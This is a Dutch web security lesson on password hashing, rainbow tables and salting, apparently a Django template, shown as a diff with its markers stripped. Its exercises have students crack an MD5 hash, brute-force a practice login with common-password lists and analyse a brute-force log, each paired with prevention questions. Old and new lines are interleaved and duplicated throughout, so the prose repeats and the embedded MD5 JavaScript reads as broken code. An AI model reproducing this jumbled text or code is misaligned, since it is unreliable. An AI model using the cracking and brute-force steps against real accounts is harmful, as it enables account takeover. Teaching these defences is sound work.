<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij hetzelfde wachtwoord ingevuld!</p>
|
||||
|
||||
<p>Zo moeilijk als het is om een hash terug te
|
||||
<i>rekenen</i>, zo makkelijk is het om een hash terug
|
||||
<i>
|
||||
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a>
|
||||
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend
|
||||
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel
|
||||
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze
|
||||
aanval:
|
||||
</p>
|
||||
<h3>Rainbow tables</h3>
|
||||
|
||||
<h3>Salt</h3>
|
||||
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken
|
||||
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat
|
||||
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet
|
||||
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
|
||||
<p>Zo moeilijk als het is om een hash terug te <i>rekenen</i>, zo makkelijk is het om een hash terug <i><a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a></i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze aanval:</p>
|
||||
|
||||
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
|
||||
<h3>Salt</h3>
|
||||
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
|
||||
|
||||
<h1>Opdrachten</h1>
|
||||
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had
|
||||
deze gebruiker?</span>
|
||||
</div>
|
||||
<h1>Opdrachten</h1>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had deze gebruiker?</span>
|
||||
{% include "points.html" with points=answers.answer_password_crack.points max="5" %}
|
||||
<input class="question-input" name="answer_password_crack" value="{{answers.answer_password_crack.string}}">
|
||||
</div>
|
||||
|
||||
<h2>Nieuws</h2>
|
||||
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden
|
||||
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de
|
||||
tabel inzien.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
|
||||
{% include "points.html" with points=answers.answer_password_crack_prevent.points max="15" %}
|
||||
<textarea class="question-input" name="answer_password_crack_prevent">{{answers.answer_password_crack_prevent.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers
|
||||
een veelgebruikt wachtwoord.</p>
|
||||
<h2>Nieuws</h2>
|
||||
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de tabel inzien.</p>
|
||||
|
||||
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
|
||||
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers een veelgebruikt wachtwoord.</p>
|
||||
|
||||
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
|
||||
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
|
||||
|
||||
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
|
||||
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is het wachtwoord van Pete?</span>
|
||||
</div>
|
||||
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is het wachtwoord van Pete?</span>
|
||||
{% include "points.html" with points=answers.answer_password_pete.points max="5" %}
|
||||
<input class="question-input" name="answer_password_pete" value="{{answers.answer_password_pete.string}}">
|
||||
</div>
|
||||
|
||||
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier
|
||||
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de
|
||||
site wordt feestelijk weer geopend.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
|
||||
{% include "points.html" with points=answers.answer_password_brute_force_prevent.points max="15" %}
|
||||
<textarea class="question-input" name="answer_password_brute_force_prevent">{{answers.answer_password_brute_force_prevent.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een
|
||||
kort fragment van een logbestand terugvinden:</p>
|
||||
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de site wordt feestelijk weer geopend.</p>
|
||||
|
||||
<code class="center-block">
|
||||
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een kort fragment van een logbestand terugvinden:</p>
|
||||
|
||||
<code class="center-block">
|
||||
...<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
|
||||
@@ -98,295 +80,308 @@
|
||||
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
|
||||
</code>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval
|
||||
te voorkomen.</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval te voorkomen.</span>
|
||||
{% include "points.html" with points=answers.answer_password_brute_force_login.points max="10" %}
|
||||
<textarea class="question-input" name="answer_password_brute_force_login">{{answers.answer_password_brute_force_login.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/password2.jpg" class="center-block">
|
||||
<img src="/static/img/password2.jpg" class="center-block">
|
||||
|
||||
<h2>Project</h2>
|
||||
|
||||
<p>Open een eigen PHP project waarin je wachtwoorden van gebruikers opslaat. Dit mag ook een project zijn wat je op school in een project hebt gemaakt.</p>
|
||||
|
||||
<p>Sla je de wachtwoorden van gebruikers op een veilige manier op?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Copy-paste het stukje PHP code waarmee je wachtwoorden opslaat en leg uit welke technieken je hebt gebruikt om dit veilig te doen.</span>
|
||||
{% include "points.html" with points=answers.answer_password_project.points max="15" %}
|
||||
<textarea class="question-input" name="answer_password_project">{{answers.answer_password_project.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function utf8_encode(argString) {
|
||||
// discuss at: http://phpjs.org/functions/utf8_encode/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// improved by: sowberry
|
||||
// improved by: Jack
|
||||
// improved by: Yves Sucaet
|
||||
// improved by: kirilloid
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Ulrich
|
||||
// bugfixed by: Rafal Kukawski
|
||||
// bugfixed by: kirilloid
|
||||
// example 1: utf8_encode('Kevin van Zonneveld');
|
||||
// returns 1: 'Kevin van Zonneveld'
|
||||
function utf8_encode(argString) {
|
||||
// discuss at: http://phpjs.org/functions/utf8_encode/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// improved by: sowberry
|
||||
// improved by: Jack
|
||||
// improved by: Yves Sucaet
|
||||
// improved by: kirilloid
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Ulrich
|
||||
// bugfixed by: Rafal Kukawski
|
||||
// bugfixed by: kirilloid
|
||||
// example 1: utf8_encode('Kevin van Zonneveld');
|
||||
// returns 1: 'Kevin van Zonneveld'
|
||||
|
||||
if (argString === null || typeof argString === 'undefined') {
|
||||
return '';
|
||||
}
|
||||
|
||||
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
|
||||
var string = (argString + '');
|
||||
var utftext = '',
|
||||
start, end, stringl = 0;
|
||||
|
||||
start = end = 0;
|
||||
stringl = string.length;
|
||||
for (var n = 0; n < stringl; n++) {
|
||||
var c1 = string.charCodeAt(n);
|
||||
var enc = null;
|
||||
|
||||
if (c1 < 128) {
|
||||
end++;
|
||||
} else if (c1 > 127 && c1 < 2048) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 6) | 192, (c1 & 63) | 128
|
||||
);
|
||||
} else if ((c1 & 0xF800) != 0xD800) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
} else {
|
||||
// surrogate pairs
|
||||
if ((c1 & 0xFC00) != 0xD800) {
|
||||
throw new RangeError('Unmatched trail surrogate at ' + n);
|
||||
}
|
||||
var c2 = string.charCodeAt(++n);
|
||||
if ((c2 & 0xFC00) != 0xDC00) {
|
||||
throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
|
||||
}
|
||||
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
}
|
||||
if (enc !== null) {
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, end);
|
||||
}
|
||||
utftext += enc;
|
||||
start = end = n + 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, stringl);
|
||||
}
|
||||
|
||||
return utftext;
|
||||
if (argString === null || typeof argString === 'undefined') {
|
||||
return '';
|
||||
}
|
||||
function md5(str) {
|
||||
// discuss at: http://phpjs.org/functions/md5/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Michael White (http://getsprink.com)
|
||||
// improved by: Jack
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// input by: Brett Zamir (http://brett-zamir.me)
|
||||
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// depends on: utf8_encode
|
||||
// example 1: md5('Kevin van Zonneveld');
|
||||
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
|
||||
|
||||
var xl;
|
||||
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
|
||||
var string = (argString + '');
|
||||
var utftext = '',
|
||||
start, end, stringl = 0;
|
||||
|
||||
var rotateLeft = function (lValue, iShiftBits) {
|
||||
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
|
||||
};
|
||||
start = end = 0;
|
||||
stringl = string.length;
|
||||
for (var n = 0; n < stringl; n++) {
|
||||
var c1 = string.charCodeAt(n);
|
||||
var enc = null;
|
||||
|
||||
var addUnsigned = function (lX, lY) {
|
||||
var lX4, lY4, lX8, lY8, lResult;
|
||||
lX8 = (lX & 0x80000000);
|
||||
lY8 = (lY & 0x80000000);
|
||||
lX4 = (lX & 0x40000000);
|
||||
lY4 = (lY & 0x40000000);
|
||||
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
|
||||
if (lX4 & lY4) {
|
||||
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
|
||||
if (c1 < 128) {
|
||||
end++;
|
||||
} else if (c1 > 127 && c1 < 2048) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 6) | 192, (c1 & 63) | 128
|
||||
);
|
||||
} else if ((c1 & 0xF800) != 0xD800) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
} else {
|
||||
// surrogate pairs
|
||||
if ((c1 & 0xFC00) != 0xD800) {
|
||||
throw new RangeError('Unmatched trail surrogate at ' + n);
|
||||
}
|
||||
if (lX4 | lY4) {
|
||||
if (lResult & 0x40000000) {
|
||||
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
|
||||
} else {
|
||||
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
|
||||
}
|
||||
var c2 = string.charCodeAt(++n);
|
||||
if ((c2 & 0xFC00) != 0xDC00) {
|
||||
throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
|
||||
}
|
||||
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
}
|
||||
if (enc !== null) {
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, end);
|
||||
}
|
||||
utftext += enc;
|
||||
start = end = n + 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, stringl);
|
||||
}
|
||||
|
||||
return utftext;
|
||||
}
|
||||
function md5(str) {
|
||||
// discuss at: http://phpjs.org/functions/md5/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Michael White (http://getsprink.com)
|
||||
// improved by: Jack
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// input by: Brett Zamir (http://brett-zamir.me)
|
||||
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// depends on: utf8_encode
|
||||
// example 1: md5('Kevin van Zonneveld');
|
||||
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
|
||||
|
||||
var xl;
|
||||
|
||||
var rotateLeft = function (lValue, iShiftBits) {
|
||||
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
|
||||
};
|
||||
|
||||
var addUnsigned = function (lX, lY) {
|
||||
var lX4, lY4, lX8, lY8, lResult;
|
||||
lX8 = (lX & 0x80000000);
|
||||
lY8 = (lY & 0x80000000);
|
||||
lX4 = (lX & 0x40000000);
|
||||
lY4 = (lY & 0x40000000);
|
||||
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
|
||||
if (lX4 & lY4) {
|
||||
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
|
||||
}
|
||||
if (lX4 | lY4) {
|
||||
if (lResult & 0x40000000) {
|
||||
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
|
||||
} else {
|
||||
return (lResult ^ lX8 ^ lY8);
|
||||
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
|
||||
}
|
||||
};
|
||||
} else {
|
||||
return (lResult ^ lX8 ^ lY8);
|
||||
}
|
||||
};
|
||||
|
||||
var _F = function (x, y, z) {
|
||||
return (x & y) | ((~x) & z);
|
||||
};
|
||||
var _G = function (x, y, z) {
|
||||
return (x & z) | (y & (~z));
|
||||
};
|
||||
var _H = function (x, y, z) {
|
||||
return (x ^ y ^ z);
|
||||
};
|
||||
var _I = function (x, y, z) {
|
||||
return (y ^ (x | (~z)));
|
||||
};
|
||||
var _F = function (x, y, z) {
|
||||
return (x & y) | ((~x) & z);
|
||||
};
|
||||
var _G = function (x, y, z) {
|
||||
return (x & z) | (y & (~z));
|
||||
};
|
||||
var _H = function (x, y, z) {
|
||||
return (x ^ y ^ z);
|
||||
};
|
||||
var _I = function (x, y, z) {
|
||||
return (y ^ (x | (~z)));
|
||||
};
|
||||
|
||||
var _FF = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
var _FF = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _GG = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
var _GG = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _HH = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
var _HH = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _II = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
var _II = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var convertToWordArray = function (str) {
|
||||
var lWordCount;
|
||||
var lMessageLength = str.length;
|
||||
var lNumberOfWords_temp1 = lMessageLength + 8;
|
||||
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
|
||||
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
|
||||
var lWordArray = new Array(lNumberOfWords - 1);
|
||||
var lBytePosition = 0;
|
||||
var lByteCount = 0;
|
||||
while (lByteCount < lMessageLength) {
|
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
|
||||
lBytePosition = (lByteCount % 4) * 8;
|
||||
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
|
||||
lByteCount++;
|
||||
}
|
||||
var convertToWordArray = function (str) {
|
||||
var lWordCount;
|
||||
var lMessageLength = str.length;
|
||||
var lNumberOfWords_temp1 = lMessageLength + 8;
|
||||
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
|
||||
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
|
||||
var lWordArray = new Array(lNumberOfWords - 1);
|
||||
var lBytePosition = 0;
|
||||
var lByteCount = 0;
|
||||
while (lByteCount < lMessageLength) {
|
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
|
||||
lBytePosition = (lByteCount % 4) * 8;
|
||||
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
|
||||
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
|
||||
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
|
||||
return lWordArray;
|
||||
};
|
||||
|
||||
var wordToHex = function (lValue) {
|
||||
var wordToHexValue = '',
|
||||
wordToHexValue_temp = '',
|
||||
lByte, lCount;
|
||||
for (lCount = 0; lCount <= 3; lCount++) {
|
||||
lByte = (lValue >>> (lCount * 8)) & 255;
|
||||
wordToHexValue_temp = '0' + lByte.toString(16);
|
||||
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
|
||||
}
|
||||
return wordToHexValue;
|
||||
};
|
||||
|
||||
var x = [],
|
||||
k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
|
||||
S12 = 12,
|
||||
S13 = 17,
|
||||
S14 = 22,
|
||||
S21 = 5,
|
||||
S22 = 9,
|
||||
S23 = 14,
|
||||
S24 = 20,
|
||||
S31 = 4,
|
||||
S32 = 11,
|
||||
S33 = 16,
|
||||
S34 = 23,
|
||||
S41 = 6,
|
||||
S42 = 10,
|
||||
S43 = 15,
|
||||
S44 = 21;
|
||||
|
||||
str = this.utf8_encode(str);
|
||||
x = convertToWordArray(str);
|
||||
a = 0x67452301;
|
||||
b = 0xEFCDAB89;
|
||||
c = 0x98BADCFE;
|
||||
d = 0x10325476;
|
||||
|
||||
xl = x.length;
|
||||
for (k = 0; k < xl; k += 16) {
|
||||
AA = a;
|
||||
BB = b;
|
||||
CC = c;
|
||||
DD = d;
|
||||
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
|
||||
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
|
||||
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
|
||||
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
|
||||
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
|
||||
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
|
||||
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
|
||||
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
|
||||
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
|
||||
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
|
||||
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
|
||||
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
|
||||
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
|
||||
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
|
||||
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
|
||||
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
|
||||
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
|
||||
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
|
||||
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
|
||||
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
|
||||
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
|
||||
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
|
||||
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
|
||||
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
|
||||
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
|
||||
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
|
||||
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
|
||||
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
|
||||
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
|
||||
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
|
||||
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
|
||||
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
|
||||
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
|
||||
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
|
||||
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
|
||||
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
|
||||
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
|
||||
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
|
||||
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
|
||||
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
|
||||
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
|
||||
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
|
||||
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
|
||||
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
|
||||
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
|
||||
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
|
||||
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
|
||||
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
|
||||
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
|
||||
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
|
||||
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
|
||||
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
|
||||
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
|
||||
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
|
||||
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
|
||||
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
|
||||
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
|
||||
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
|
||||
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
|
||||
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
|
||||
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
|
||||
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
|
||||
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
|
||||
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
|
||||
a = addUnsigned(a, AA);
|
||||
b = addUnsigned(b, BB);
|
||||
c = addUnsigned(c, CC);
|
||||
d = addUnsigned(d, DD);
|
||||
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
|
||||
lByteCount++;
|
||||
}
|
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
|
||||
lBytePosition = (lByteCount % 4) * 8;
|
||||
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
|
||||
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
|
||||
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
|
||||
return lWordArray;
|
||||
};
|
||||
|
||||
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
|
||||
var wordToHex = function (lValue) {
|
||||
var wordToHexValue = '',
|
||||
wordToHexValue_temp = '',
|
||||
lByte, lCount;
|
||||
for (lCount = 0; lCount <= 3; lCount++) {
|
||||
lByte = (lValue >>> (lCount * 8)) & 255;
|
||||
wordToHexValue_temp = '0' + lByte.toString(16);
|
||||
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
|
||||
}
|
||||
return wordToHexValue;
|
||||
};
|
||||
|
||||
return temp.toLowerCase();
|
||||
var x = [],
|
||||
k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
|
||||
S12 = 12,
|
||||
S13 = 17,
|
||||
S14 = 22,
|
||||
S21 = 5,
|
||||
S22 = 9,
|
||||
S23 = 14,
|
||||
S24 = 20,
|
||||
S31 = 4,
|
||||
S32 = 11,
|
||||
S33 = 16,
|
||||
S34 = 23,
|
||||
S41 = 6,
|
||||
S42 = 10,
|
||||
S43 = 15,
|
||||
S44 = 21;
|
||||
|
||||
